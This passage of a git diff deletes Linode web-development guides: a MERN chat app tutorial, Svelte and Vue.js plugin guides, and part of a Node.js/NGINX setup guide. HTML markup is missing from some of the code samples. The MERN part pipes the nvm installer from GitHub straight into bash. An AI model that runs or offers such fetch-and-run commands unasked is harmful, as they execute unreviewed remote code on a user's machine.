Node.js. - - ```command - curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash - ``` - -1. Restart your shell session (logging out and logging back in), or run the following commands: - - ```command - export NVM_DIR="$HOME/.nvm" - [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" - [ -s "$NVM_DIR/bash_completion" ] && \. "$NVM_DIR/bash_completion" - ``` - -1. Install the current version of Node.js: - - ```command - nvm install node - ``` - -You can additionally refer to our [How to Install and Use the Node Package Manager (NPM) on Linux](/cloud/guides/install-and-use-npm-on-linux/#how-to-install-or-update-npm) guide. - -### Developing the App - -The MERN app project itself consists of two components: - -- Express JS provides the backend web API, connecting to MongoDB to store and retrieve data -- React provides the frontend, giving the user interface for interacting with the application - -The next sections show you how to set these up for a basic chat application. - -#### Create the Express JS Server - -1. Create a directory for your project, and then a subdirectory for your Express JS server. Then, change into the Express JS subdirectory. - - This example creates a project directory under the current user's home directory and an Express JS subdirectory named `server`. - - ```command - mkdir -p ~/example-mern-app/server - cd ~/example-mern-app/server - ``` - -1. Initialize a Node.js project, and install Express JS. At the same time, install the Mongoose module for working with MongoDB: - - ```command - npm init -y - npm install --save express mongoose - ``` - -1. Create an `index.js` file, and give it the contents shown below. The purpose of each part of this code is elaborated in comments within the code: - - ```file {title="index.js" lang="js"} - // Set up ExpressJS. - const express = require("express"); - const bodyParser = require('body-parser'); - const app = express(); - const router = express.Router(); - const port = 5000; - - // Set up Mongoose. - const mongoose = require('mongoose'); - const mongoDbUrl = 'mongodb://127.0.0.1/example_database'; - - // Import MongoDB models. - const MessageModel = require('./models/message.js'); - - // Connect to the database. - mongoose - .connect(mongoDbUrl, {useNewUrlParser: true, useUnifiedTopology: true}) - .then(() => console.log('Database connection established.')) - .catch((err) => console.log('Database connection error: ' + err)) - mongoose.Promise = global.Promise; - - // Prevent possible cross-origin issues. - app.use((req, res, next) => { - res.header('Access-Control-Allow-Origin', '*'); - res.header('Access-Control-Allow-Headers', 'Origin, X-Requested-With, Content-Type, Accept'); - next(); - }); - - // Necessary to handle the JSON data. - app.use(bodyParser.json()); - - // Create endpoints for the frontend to access. - app.get('/messages', (req, res, next) => { - MessageModel - .find({}, 'messageText') - .then((data) => res.json(data)) - .catch(next); - }); - - app.post('/messages', (req, res, next) => { - if (req.body.messageText) { - MessageModel.create(req.body) - .then((data) => res.json(data)) - .catch(next); - } else { - res.json({error: "Please provide message text."}); - } - }); - - // Listen on the port. - app.listen(port, () => { - console.log(`Server is running on port: ${port}`); - }); - ``` - - You can, alternatively, download the [above file](examples/server/index.js) directly. - -1. Create a `models` directory, and create a `message.js` file in it. Give the file the following contents: - - ```file {title="models/message.js" lang="js"} - // Set up Mongoose. - const mongoose = require('mongoose'); - const Schema = mongoose.Schema; - - // Create a schema to be used for the MessageModel. - const MessageSchema = new Schema({ - messageText: { - type: String, - required: [true, 'This fields is required.'], - }, - }); - - // Create the message model from the MessageSchema. - const MessageModel = mongoose.model('message', MessageSchema); - - module.exports = MessageModel; - ``` - - As above, you can also download [this file](examples/server/message.js) directly. - -1. To verify that everything is working, start the MongoDB service and run the Express JS server with the following commands: - - ```command - sudo systemctl start mongod - node index.js - ``` - - Upon execution of the commands above, you should observe the following output: - - ```output - Server is running on port: 5000 - Database connection established. - ``` - -1. You can make sure that the endpoints are working with the following two cURL commands: - - ```command - curl -X POST -H "Content-Type: application/json" -d '{"messageText":"This is a test."}' localhost:5000/messages - curl localhost:5000/messages - ``` - - Upon execution of the commands above, you should observe the following output: - - ```output - [{"_id":"61784e4251b2842f3ffe6eaf", "messageText":"This is a test."}] - ``` - - Once you have seen that the server is working, you can stop it with the Ctrl + C combination. - -1. To run the Express JS server and React simultaneously, the [Start MERN Stack Services](#start-mern-stack-services) section below uses the `concurrently` Node.js module. Install the module using the command below: - - ```command - npm install --save-dev concurrently - ``` - -1. Open the `package.json` file, and change the `scripts` portion as shown below. This allows you to start the server and frontend simultaneously with a single command: - - ```file {title="package.json" lang="json"} - { - //... - "scripts": { - "server": "node index.js", - "client": "cd ../client && npm start", - "app_stack": "concurrently \"npm run server\" \"npm run client\"" - }, - //... - } - ``` - -You can learn more about getting started with Express JS in our guide [Express JS Tutorial: Get Started Building a Website](/cloud/guides/express-js-tutorial/). - -#### Create the React Frontend - -1. Change into the main project directory, and use the React project creation tool to initialize a React app. This example names the React project `client`. - - ```command - cd ~/example-mern-app - npx create-react-app client - ``` - -1. Change into the new React directory, and install the `axios` module. This facilitates making requests from the frontend to the Express JS server. - - ```command - npm install --save axios - ``` - -1. Open the `App.js` file, and give it the contents shown below. This requires you to delete the file's existing contents. You can find comments throughout the code elaborating on each part. - - ```file {title="App.js" lang="js"} - // Import React and the stylesheet. - import React from 'react'; - import './App.css'; - - // Import the component to be used for fetching, posting, - // and displaying messages from the server. - import Messages from './Messages'; - - // Initialize the application display, giving a - // placeholder for the Messages component. - function App() { - return ( -
- -
- ); - } - - export default App; - ``` - - You can also download [this file](examples/client/App.js) directly. - -1. Create a `Messages.js` file, and give it the contents shown below: - - ```file {title="Messages.js" lang="js"} - // Import React's Component and Axios. - import React, { Component } from 'react'; - import axios from 'axios'; - - // Create the component for handling messages. - class Messages extends Component { - // Create an object to hold the list of messages and the message - // being prepared for sending. - state = { - list: [], - toSend: "" - }; - - // When the component loads, get existing messages from the server. - componentDidMount() { - this.fetchMessages(); - } - - // Get messages from the server. - fetchMessages = () => { - axios - .get('/messages') - .then((res) => { - if (res.data) { - this.setState({ list: res.data, toSend: "" }); - let inputField = document.getElementById("textInputField"); - inputField.value = ""; - } else { - this.setState({ list: ["No messages!"] }); - } - }) - .catch((err) => console.log(err)); - } - - // Post new messages to the server, and make a call to update - // the list of messages. - sendMessage = () => { - if (this.state.toSend === "") { - console.log("Enter message text.") - } else { - axios - .post('/messages', { messageText: this.state.toSend }) - .then((res) => { - if (res.data) { - this.fetchMessages(); - } - }) - .catch((err) => console.log(err)); - } - } - - // Display the list of messages. - listMessages = () => { - if (this.state.list && this.state.list.length > 0) { - return (this.state.list.map((message) => { - return ( -

{message.messageText}

- ); - })) - } else { - return (

No messages!

) - } - } - - // Render the message component. - render() { - return ( -
-
- { this.setState({ toSend: e.target.value }) } } /> - -
-
{ this.listMessages() }
-
- ); - } - } - - export default Messages; - ``` - As before, you can also download [this file](examples/client/Messages.js) directly. - -1. Open the `package.json` file, and add the line shown below. This allows you to use shorthand for the Express JS server endpoints, which you can see in the `Messages.js` file above. - - ```file {title="package.json" lang="json"} - { - //... - "proxy": "localhost:5000" - } - ``` - -1. Verify that the frontend is working by starting it up using the following command: - - ```command - npm start - ``` - - You can see the front end by navigating to `localhost:3000`. - - Stop the frontend server at any time with the Ctrl + C key combination. - -To learn more about building applications with React, refer to the [official documentation](https://reactjs.org/docs/getting-started.html). - -### Start MERN Stack Services - -With the prerequisites installed and the project set up, you can now start up your new MERN app. These steps show you how to get all of the necessary parts running and then connect to your application, even remotely. - -1. Start the MongoDB service. - - ```command - sudo systemctl start mongod - ``` - -1. Enable the legacy OpenSSL provider in Node.js, required to run React: - - ```command - export NODE_OPTIONS=--openssl-legacy-provider - ``` - - To make this configuration persistent, add the line above to your `~/.bashrc` file. - -1. Change into the project's `server` directory, and execute the command below: - - ```command - npm run app_stack - ``` - - Your MERN stack application should now be running. Access the frontend by navigating to `localhost:3000` in a browser. You can access the application remotely using an SSH tunnel: - - - On **Windows**, use the PuTTY tool to set up your SSH tunnel. Follow the appropriate section of the [Setting up an SSH Tunnel with Your Linode for Safe Browsing](/cloud/guides/setting-up-an-ssh-tunnel-with-your-linode-for-safe-browsing/#windows) guide, replacing the example port number there with `3000`. - - - On **macOS** or **Linux**, use the following command to set up the SSH tunnel. Replace `example-user` with your username on the application server and `192.0.2.0` with the server's IP address. - - ```command - ssh -L3000:localhost:3000 example-user@192.0.2.0 - ``` - - ![Example MERN stack application](mern-app-example.png) - -When you are ready to make your application accessible to the public, take a look at our [Deploying a React Application on Debian 10](/cloud/guides/how-to-deploy-a-react-app-on-debian-10/) guide. Specifically, the [Configure your Web Server](/cloud/guides/how-to-deploy-a-react-app-on-debian-10/#configure-your-web-server) and [Create your Deployment Script](/cloud/guides/how-to-deploy-a-react-app-on-debian-10/#create-your-deployment-script) sections give you the additional steps you need to make your React frontend available. - -## Conclusion - -You now have a working MERN stack application. This code above can form a basis that you can modify and expand on to your needs. - -Ready to deploy your MERN stack app to a server? Refer to our [Deploy a MERN Stack Application on Akamai](/cloud/guides/deploy-a-mern-stack-application/) guide. There, you can learn how to set up a server for a MERN stack and copy over your MERN project for deployment. - -One way you can enhance your MERN stack app is by adding authentication. Learn how to implement authentication into your Express JS server through our [User Authentication with JSON Web Tokens (JWTs) and Express](/cloud/guides/how-to-authenticate-using-jwt/) guide. \ No newline at end of file diff --git a/docs/guides/development/javascript/getting-started-with-svelte/index.md b/docs/guides/development/javascript/getting-started-with-svelte/index.md deleted file mode 100644 index 1fbdacb0731..00000000000 --- a/docs/guides/development/javascript/getting-started-with-svelte/index.md +++ /dev/null @@ -1,237 +0,0 @@ ---- -slug: getting-started-with-svelte -title: "Getting Started with the Svelte Framework" -description: "The Svelte framework handles frontend development by shifting work to the build step, giving you small and fast application bundles without a virtual DOM. Learn all about Svelte, what sets it apart, and how to start using it in this guide." -authors: ['Nathaniel Stickman'] -contributors: ['Nathaniel Stickman'] -published: 2022-05-02 -keywords: ['svelte guide', 'svelte javascript', 'svelte vs react'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[Svelte: Documentation](https://svelte.dev/docs)' -- '[SvelteKit Docs: Introduction](https://kit.svelte.dev/docs/introduction)' -- '[MDN Web Docs: Getting Started with Svelte](https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_getting_started)' -- '[Twilio Blog: Beginner’s Guide to Svelte - From Basics to State Management and Animation](https://www.twilio.com/blog/all-you-need-to-know-svelte)' ---- - -Svelte is a JavaScript framework for frontend web development. And unlike most similar frameworks, Svelte handles page processing at build time. Svelte frontends operate without a virtual DOM, giving you small and efficient application bundles with streamlined performance. - -Through this guide, learn more about what sets the Svelte framework apart and how you can start building your own Svelte frontends. - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -{{< note >}} -The steps in this guide are written for non-root users. Commands that require elevated privileges are prefixed with `sudo`. If you’re not familiar with the `sudo` command, see the [Linux Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## What Is the Svelte Framework? - -[Svelte](https://svelte.dev/) is a JavaScript framework for developing web application frontends. There are many such frameworks, and these typically offload the majority of work to a user's browser through a virtual Document Object Model (DOM). Svelte sets itself apart by shifting the bulk of that work to the app compilation step. Svelte frontends, as a result, work without a virtual DOM. - -Svelte's leveraging of the compilation step means that its application bundles tend to be smaller and more performant. Couple that with Svelte's more classical frontend model, and you have a compelling tool for efficiency and approachability. - -### Svelte vs React vs Vue - -React remains one of the most widely used frameworks for web-frontend development, and the popularity of the Vue framework is not too far behind. Relative to these frameworks, Svelte is a newcomer. What, then, makes Svelte different, and why would you choose it over React, or Vue? - -Both React and Vue handle web page changes through a virtual DOM. The virtual DOM provides efficiency over traditional DOM manipulation, but it still has the user's browser handle most of the page processing. As a result, users can experience performance dips with more virtual DOM manipulation. - -Svelte diverges from that model. Instead of using a virtual DOM, Svelte applications do the majority of their process during compilation. The result is small, performant application bundles. - -Svelte also stays closer to standard HTML and JavaScript/TypeScript concepts and tooling. React and Vue re-imagine the model for web-frontend development, introducing many novel concepts and tools to enhance the developer experience. However, Svelte's model only slightly deviates from classic frontend models. That fact makes the framework typically more approachable for developers unfamiliar with modern web frontend concepts and tooling. - -## How to Install Svelte - -To install Svelte, the recommended approach in the official documentation is to start your Svelte project using the SvelteKit. The SvelteKit installs with the command for creating a new NPM project, meaning you do not need any global Svelte installation. - -With the SvelteKit installed, your project compiles `.svelte` files into the appropriate JavaScript and CSS at build time. SvelteKit also brings ready access to convenient frontend development features like routing. - -1. Install NPM to manage your Svelte project and install its dependencies. Follow the relevant section of our guide on [How to Install and Use the Node Package Manager (NPM) on Linux](/cloud/guides/install-and-use-npm-on-linux/#how-to-install-npm). - -1. Create a new NPM project using the SvelteKit template. This example names the project `exampleApp`, and this name gets used for the Svelte project throughout the rest of this guide: - - ```command - npm create svelte@latest exampleApp - ``` - - Follow the prompts to complete the setup for your project. - - - Choose an application template to start your project with. This guide later uses the `Skeleton project` for a base template, but you may choose the `SvelteKit demo app` option to seem Svelte's capabilities. - - - Choose whether you would like type-checking within your project. This is where you can select TypeScript for your project should you want. Svelte also has the option of type-checking through a `JSDoc` syntax, which is what this guide uses. Choose `No` for a more traditional JavaScript experience, without type checking. - - - Choose any additional features you would like from the remaining prompts. This guide selects `No` to all of these subsequent prompts to make the examples simpler, but the features offered here can improve the development experience for many projects. - -1. Change into the new project directory, and have NPM install the project dependencies. The rest of this guide assumes you are in this directory for any example commands: - - ```command - cd exampleApp - npm install - ``` - -And with that, you have gotten started with Svelte. Anytime you want to create a new Svelte application, you can use the steps above to set it up. - -You can test this base project by running the development server. Run the development server using the following command, and then look for the output by navigating to `localhost:5173` in a web browser: - -```command -npm run dev -``` - -```output - VITE v4.0.1 ready in 1165 ms - - ➜ Local: http://localhost:5173/ - ➜ Network: use --host to expose - ➜ press h to show help -``` - -To access this URL from a remote machine, you can use an SSH tunnel. Set up the SSH tunnel using one of the methods below, depending on your operating system. - -- On **Windows**, you can use the PuTTY tool to set up your SSH tunnel. Follow the PuTTY section of our guide on how to [Create an SSH Tunnel for MySQL Remote Access](/cloud/guides/create-an-ssh-tunnel-for-mysql-remote-access/#how-to-access-mysql-remotely-by-creating-an-ssh-tunnel-with-putty). Use `5173` as the **Source port** and `127.0.0.1:5173` as the **Destination**. - -- On **macOS** or **Linux**, use the following command to set up the SSH tunnel. Replace `example-user` with your username on the remote server and `192.0.2.0` with the remote server's IP address: - - ```output - ssh -L5173:localhost:5173 example-user@192.0.2.0 - ``` - -You should now be able to access the development server from the remote machine. Navigate to `localhost:5173` in a web browser, just as you would on the remote machine itself. - -![The welcome page for a default Svelte project](svelte-default.png) - -## How to Build a Frontend with Svelte - -With a Svelte project of your own created, you should now get familiar with how Svelte applications work. Svelte adheres more closely to traditional web development models, making it often more approachable for new frontend developers. However, SvelteKit does implement some particular structures to help modern projects off the ground. - -These next sections aim to get you familiar with the SvelteKit structure and its features as well as the fundamentals of developing a Svelte application. The example application demonstrates some of the characteristics of Svelte applications overall. - -### SvelteKit Application Structure - -Using the SvelteKit base template, your project gets initialized with a simple structure that you can build on. Here is what the base structure looks like: - -- `src/` - - - `routes/` - - - `+page.svelte` - -- `app.d.ts` - -- `app.html` - -Most of the work for building your application takes place within the `src/routes` path. Within this directory, any `+page.svelte` files represent the base page template for the path. So the `+page.svelte` file above, in the `routes` directory, represents the landing page, for the `/` address. - -Adding a `new-path` directory under `routes` creates a new route. A `+page.svelte` file within this new directory would define a page for the `/new-path` path. - -There are numerous more features for working with the `routes` structure. What follows are a few of the most noteworthy and useful for getting started. - -- Use square brackets (`[...]`) in a `routes` path to implement a slug. For instance, a `routes/new-path/[slug]` directory creates a new path with a variable slug. JavaScript and Svelte files within the `[slug]` directory can access that slug as a parameter. - -- Use a `+page.js` file (or `+page.ts` for TypeScript) within a `routes` path to implement a script for loading data. These scripts get executed before the path's page gets rendered. The scripts can be used, for instance, to fetch page content based on a parameter like a path slug. - -- Use `+error.svelete` within a `routes` path to create custom error pages. SvelteKit has default error pages, but using `+error.svelte` lets you provide customized displays and responses. - -Learn more about the SvelteKit structure and the features it offers through the SvelteKit documentation linked at the end of this guide. - -### Example Svelte Application - -The base template set up with the installation above gives only a sparse demonstration of Svelte, without showing routing and interactive features. So to help better understand Svelte and the SvelteKit features, the following series of steps walk you through creating a basic interactive frontend. - -The example creates a to-do list, adding a new route and a link to it from the main page. The new route includes a script to load the initial to-do list and demonstrates features like dynamic rendering and two-way data binding. - -1. Follow the section above on installing Svelte to create a new Svelte project. Use the `Skeleton project` template, and choose the `JSDoc` option for the type checking. - -1. Open the `src/routes/+page.svelte` file, and modify its contents to include the following. This just changes the paragraph text and includes a link to a `/todo` route: - - ```file {title="src/routes/+page.svelte"} -

Welcome to Your Svelte App!

-

Visit your to-do list to manage your tasks.

- ``` - -1. Create a new directory of `src/routes/todo`. This creates a new `/todo` route for your application. - -1. Add a `+page.js` file within the `src/routes/todo` directory, and give the file the contents shown here. The `load` function runs before the page renders, usually to load data. The example here simply uses some static data, but the function is capable of fetching data from other files or services: - - ```file {title="src/routes/todo/+page.js"} - /** @type {import('./$types').PageLoad} */ - export function load({ params }) { - return { - todoList: ['Test 1', 'Test 2', 'Test 3'], - } - } - ``` - -1. Add a `+page.svelte` file within the `src/routes/todo` directory, and give the file the contents shown here. Annotations are provided throughout the code here to help break down what each part does. Overall, this file defines the structure of the to-do list and the functions for handling actions on the list: - - ```file {title="src/routes/todo/+page.svelte"} - - -

Svelte To-do List

- -
-

Add a to-do item

-
- - - -
-
- -
- - {#each todoList as todoItem} -

{todoItem}

- {:else} -

Nothing to do!

- {/each} -
- ``` - -1. Run the development server for the application, and navigate to it in your web browser, just as shown in the section on installing the project above. You should see a variant of the default welcome page. - - ![The modified welcome page for the example Svelte application](svelte-example-welcome.png) - -1. Click the link on the welcome page or otherwise navigate to the `/todo` route, `localhost:5173/todo`, to see the default to-do list. - - ![A basic to-do list in the example Svelte application](svelte-example-todo-1.png) - -1. Make some changes to the list to verify that it works as expected. Here, the item `Test 2` was removed and items `Test 4` and `Test 5` were added. - - ![The example Svelte to-do list applications with dynamic modifications to the displayed list](svelte-example-todo-2.png) - -## Conclusion - -You now have a working Svelte application of your own and with it a foundational knowledge of how to work with Svelte and SvelteKit. Svelte has many more features for you to leverage, and SvelteKit still helps you structure modern and efficient frontend applications. Be sure to refer to the Svelte and SvelteKit documentation linked below to get the most out of your new Svelte application. diff --git a/docs/guides/development/javascript/how-to-write-vue-js-plugins/index.md b/docs/guides/development/javascript/how-to-write-vue-js-plugins/index.md deleted file mode 100644 index cbecb0eb420..00000000000 --- a/docs/guides/development/javascript/how-to-write-vue-js-plugins/index.md +++ /dev/null @@ -1,393 +0,0 @@ ---- -slug: how-to-write-vue-js-plugins -title: "Write Your Own Vue.js Plugin" -description: 'Learn how to create your own Vue.js plugin with an easy-to-use package and add functionality to your Vue apps.' -authors: ["John Au-Yeung"] -contributors: ["John Au-Yeung"] -published: 2021-02-09 -keywords: ['vue','vue.js','plugin','directive', 'filter', 'mixin'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[VueJS](https://vuejs.org/)' -tags: ["web applications"] ---- - -## What is a Vue.js Plugin? - -A Vue.js plugin is a code package that is used to add features to a Vue.js app. The plugin is structured with JavaScript and exported with an `install` method that takes the `Vue` object as the first parameter and `options` as the second parameter. - -The `Vue` parameter is the Vue instance of the current Vue app. With it, you can add your own methods, mixins, and directives with the following standards: - -* To add component instance methods, which is available to all components, attach a new property to the `Vue.prototype` property with your desired function. - -* The method has to be a traditional function because it references the Vue instance with `this`. - -* To add directives, call the `Vue.directive` method with the directive name string and an object with the directive lifecycle hooks as the arguments. - -* Likewise, use the `Vue.mixin` method to declare your own mixin objects. - -* You can also declare a global `Vue` method by attaching a new property to it with a function as its property. - -To use the plugin in the app, then call the global `Vue.use` method with the plugin as the first argument and an optional object with options that the plugin takes as the second argument. - -The options object in the second argument is available as the value of the `options` parameter in the `install` function. - -## Creating a Simple Vue.js Plugin -{{< note >}} -The code below assumes that the Vue project is created by the [Vue CLI](https://cli.vuejs.org/). -{{< /note >}} - -{{< file "src/plugin.js" js >}} -export default { - // eslint-disable-next-line no-unused-vars - install(Vue, options) {} -}; -{{< /file >}} - -{{< file "src/main.js" js >}} -import Vue from "vue"; -import App from "./App.vue"; -import Plugin from "./plugin"; - -Vue.use(Plugin); - -Vue.config.productionTip = false; - -new Vue({ - render: h => h(App) -}).$mount("#app"); -{{< /file >}} - -The code above, the `plugin.js` file is a plugin that has nothing except the empty `install` function in the object that is exported as the default export: - -The plugin is registered in the `main.js` file by calling the `Vue.use` method with the `Plugin` object imported from `plugin.js` as the argument. Then, everything in the plugin becomes available in all parts of the app. - -With this skeleton code created, you can add something simple like a method that you can use in the component. For instance, you can add a method that can be used in the component by writing the following code: - -{{< file "src/plugin.js" js >}} -export default { - // eslint-disable-next-line no-unused-vars - install(Vue, options) { - Vue.prototype.$toBold = function(text) { - return `${text}`; - }; - } -}; -{{< /file >}} - -{{< file "src/App.vue" html >}} - - - -{{< /file >}} - -In the code above, you added a new method to the `Vue.prototype` property, which is the `$toBold` method. We added the `$` sign in front of the method name to distinguish it from the methods that is created in components. - -Then use the `$toBold` method in the component by calling it with a string of your choice to display the string as bold. - -`main.js` remains the same as in the previous example. - -You can define global properties by attaching a property to the `Vue` parameter and setting a value to it. - -For example, write the following: - -{{< file "src/plugin.js" js >}} -export default { - // eslint-disable-next-line no-unused-vars - install(Vue, options) { - Vue.PLUGIN_VERSION = "0.0.1"; - } -}; -{{< /file >}} - -{{< file "src/App.vue" html >}} - - - -{{< /file >}} - -In the code above, you attached the `PLUGIN_VERSION` property as a property of the `Vue` object. - -Then, import `Vue` in `App.vue` to get the value of the `Vue.PLUGIN_VERSION` property as you did in `App.vue`'s code. - -In the template, call the `getVersion` method that is defined to show the value of the `PLUGIN_VERSION` property. - -In the browser, '0.0.1' appears. - -## Adding Directives to a Vue.js Plugin - -You can add directives by calling the `Vue.directive` method. It takes a string for the directive name and an object with the lifecycle hooks for a directive. - -A Vue directive has a few hooks. They include the `bind` hook which is called once when the directive is first bound to the component to run initial setup code. - -The `inserted` hook is called when the bound element has been inserted into its parent node. When this hook is run, the parent node is present but not necessarily in the document itself. - -Finally, the `update` hook is called after the containing component’s VNode has updated, which the DOM node in the virtual DOM of Vue has updated. This hook might be run before the child nodes have updated. You can get the old and new value that is set as the value of the directive in the `update` hook. - -To add a directive into the plugin that can be used in the components throughout the app, write the following code: - -{{< file "src/plugin.js" js >}} -export default { - // eslint-disable-next-line no-unused-vars - install(Vue, options) { - Vue.directive("highlight", { - inserted(el) { - el.style.color = "green"; - } - }); - } -}; - -{{< /file >}} - -{{< file "src/App.vue" html >}} - - - -{{< /file >}} - -In the code above, a new directive called `highlight` is defined in `plugins.js`. - -Then use it in `App.vue` by adding `v-highlight` in the component. The highlighted text "foo" displays in green color because you set the content of the element `el` (the `p` element in `App.vue`) to green. - -Next, pass the values into the directive and use it as follows: - -{{< file "src/plugin.js" js >}} -export default { - // eslint-disable-next-line no-unused-vars - install(Vue, options) { - Vue.directive("highlight", { - inserted(el, { value }) { - el.style.color = value ? value : "green"; - } - }); - } -}; -{{< /file >}} - -{{< file "src/App.vue" html >}} - - - -{{< /file >}} - -The code above gets the `value` property from the `binding` parameter in the 2nd position. The `value` property's value is passed in after the equals sign in the template. Therefore, `value` is set to `blue`, so the text displays as blue rather than the default green. - -## Adding Mixins to a Vue.js Plugin - -You can add mixins to add code that can merged in with a existing code of the component if it is used. - -When you declare a mixin inside a plugin, then the methods in the mixin object are merged into all components. - -You can create a mixin by calling the `Vue.mixin` method as follows: - -{{< file "src/plugin.js" js >}} -export default { - // eslint-disable-next-line no-unused-vars - install(Vue, options) { - Vue.mixin({ - async beforeMount() { - const res = await fetch("https://api.agify.io/?name=example"); - const { name } = await res.json(); - this.name = name; - } - }); - } -}; -{{< /file >}} - -{{< file "src/components/Foo.vue" html >}} - - - -{{< /file >}} - -{{< file "src/App.vue" html >}} - - - -{{< /file >}} - -In the code above, you defined the global mixin with `Vue.mixin` method. Then inside the mixin object, the `beforeMount` hook runs code to get data from an API before all components are mounted. - -Then in `App.vue` and `Foo.vue`, you display the value of the `name` state without adding any code to the component thanks to the mixin. - -The `beforeMount` hook runs automatically whenever any component is mounted. Therefore, "example" is displayed twice because it fetches the name in the API in each component with the `beforeMount` hook in the mixin. - -You should be careful with global mixin code because it runs in all components. - -## Adding Filters to a Vue.js Plugin - -You can add a global filter to the plugin by calling the `Vue.filter` method. The method takes the name string as the first argument and a function that takes the value that you want to transform and return something that is in the format that you want as the return value. - -For example, define a filter in the plugin as follows: - -{{< file "src/plugin.js" js >}} -export default { - // eslint-disable-next-line no-unused-vars - install(Vue, options) { - Vue.filter("timeString", val => { - if (!(val instanceof Date)) { - return val; - } - return val.toLocaleTimeString(); - }); - } -}; -{{< /file >}} - -{{< file "src/App.vue" html >}} - - - -{{< /file >}} - -In the code above, you defined a filter called `timeString` with the function returning a time string if it is the value passed in is an instance of the `Date` object. - -In `App`'s template, you applied the `timeString` filter on `new Date()`, which is the date object with the current date and time, with the pipe operator. - -Then, something similar to '5:02:49 PM' appears on the screen. - -## Accepting Vue.js Plugin Options - -You can pass in options to the plugin. To do that, you just have to pass in an object with options in the `Vue.use` as the 2nd argument. - -Then fetch it from the 2nd parameter of the `options` parameter. - -For example, pass in options and use it in the plugin as follows: - -{{< file "src/plugin.js" js >}} -export default { - install(Vue, { getDateString }) { - Vue.filter("dateOrTimeString", val => { - if (!(val instanceof Date)) { - return val; - } - - if (getDateString) { - return val.toDateString(); - } - return val.toLocaleTimeString(); - }); - } -}; -{{< /file >}} - -{{< file "src/main.js" js >}} -import Vue from "vue"; -import App from "./App.vue"; -import Plugin from "./plugin"; - -Vue.use(Plugin, { getDateString: true }); - -Vue.config.productionTip = false; - -new Vue({ - render: h => h(App) -}).$mount("#app"); -{{< /file >}} - -{{< file "src/App.vue" html >}} - - - -{{< /file >}} - -In the code above, you passed in `{ getDateString: true }` as the option object. - -In `plugin.js`, you destructured the `getDateString` property from the options object and used it in the filter. - -Then when you set the `getDateString` to `true`, a date string is displayed on the screen. Otherwise, the time string is displayed. - -## Conclusion - -You can define a plugin by creating a JavaScript module that exports an object with the `install` method as a default export. - -The `install` method has the `Vue` parameter, which has the Vue instance as its value, and `options` which has the options object as the 2nd argument. - -Then inside the plugin, you can add directives, methods, and mixins of our choice. diff --git a/docs/guides/development/nodejs/how-to-install-nodejs-and-nginx-on-ubuntu-18-04/index.md b/docs/guides/development/nodejs/how-to-install-nodejs-and-nginx-on-ubuntu-18-04/index.md deleted file mode 100644 index 75ebcec8f61..00000000000 --- a/docs/guides/development/nodejs/how-to-install-nodejs-and-nginx-on-ubuntu-18-04/index.md +++ /dev/null @@ -1,260 +0,0 @@ ---- -slug: how-to-install-nodejs-and-nginx-on-ubuntu-18-04 -title: Installing Node.js and NGINX on Ubuntu 18.04 -title_meta: How to Install Node.js and NGINX on Ubuntu 18.04 -description: In this guide, you will learn how to install, configure, and test NGINX and Node.js to serve static site content on an Ubuntu 18.04 server. -authors: ["Linode"] -contributors: ["Linode"] -published: 2020-04-14 -keywords: ["linode guide", "hosting a website", "website", "linode setup", " install node.js", " install nginx", "ubuntu", " front-end requests", " back-end requests"] -tags: ["ubuntu", "nginx", "web server", "proxy"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[Node.js](http://nodejs.org)' - - '[NGINX](http://nginx.com/)' - - '[NodeSchool](http://nodeschool.io/)' - - '[Node Version Manager](https://github.com/creationix/nvm)' - - '[npm](https://www.npmjs.com/)' -audiences: ["intermediate"] -concentrations: ["Web Applications"] -languages: ["javascript"] -image: Install_Nodejs_NGINX_Ubuntu1804.png -relations: - platform: - key: install-nodejs-nginx - keywords: - - distribution: Ubuntu 18.04 -aliases: ['/development/nodejs/how-to-install-nodejs-and-nginx-on-ubuntu-18-04/'] ---- - -Node.js is an open-source JavaScript runtime environment that can serve dynamic and responsive content and is often used to create and serve web applications. When serving Node.js applications, NGINX is commonly used to create a reverse proxy that points at a running Node.js server. In this guide, you will install and configure NGINX on an Ubuntu 18.04 Linode. NGINX will handle requests to static files, like `index.html` and also, create a reverse proxy to a Node.js server. You will then create a test JavaScript file in order to test your running Node.js server. - -## Before You Begin - -1. If you want to use a custom domain name for your site, purchase a domain name from a trusted registrar and use Linode's [DNS Manager](https://techdocs.akamai.com/cloud-computing/docs/dns-manager) to [add the domain](https://techdocs.akamai.com/cloud-computing/docs/create-a-domain) and [create a domain record](https://techdocs.akamai.com/cloud-computing/docs/manage-dns-records) for it. - -1. Set up your Linode using the [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guides. - - {{< note respectIndent=false >}} -Don't forget to update your Linode's `/etc/hosts` file with its public IP address and your site's fully qualified domain name, as explained in the [Update Your System's hosts File](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#update-your-systems-hosts-file) section of the [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) guide. - {{< /note >}} - - - {{% content "limited-user-note-shortguide" %}} - -## Install and Configure NGINX - -1. Install NGINX and the screen utility. You will use screen in the [Create Your the Node.js Web Server File](#create-the-node-js-web-server-file). - - sudo apt-get install nginx screen - -1. Start NGINX and enable it to start automatically on reboots. - - sudo systemctl start nginx - sudo systemctl enable nginx - -1. Using your preferred text editor, create a new NGINX site configuration file located in the `/etc/nginx/sites-available/` directory. Replace the example file name and any instances of `example.com` with your own domain name or IP address. - - {{< file 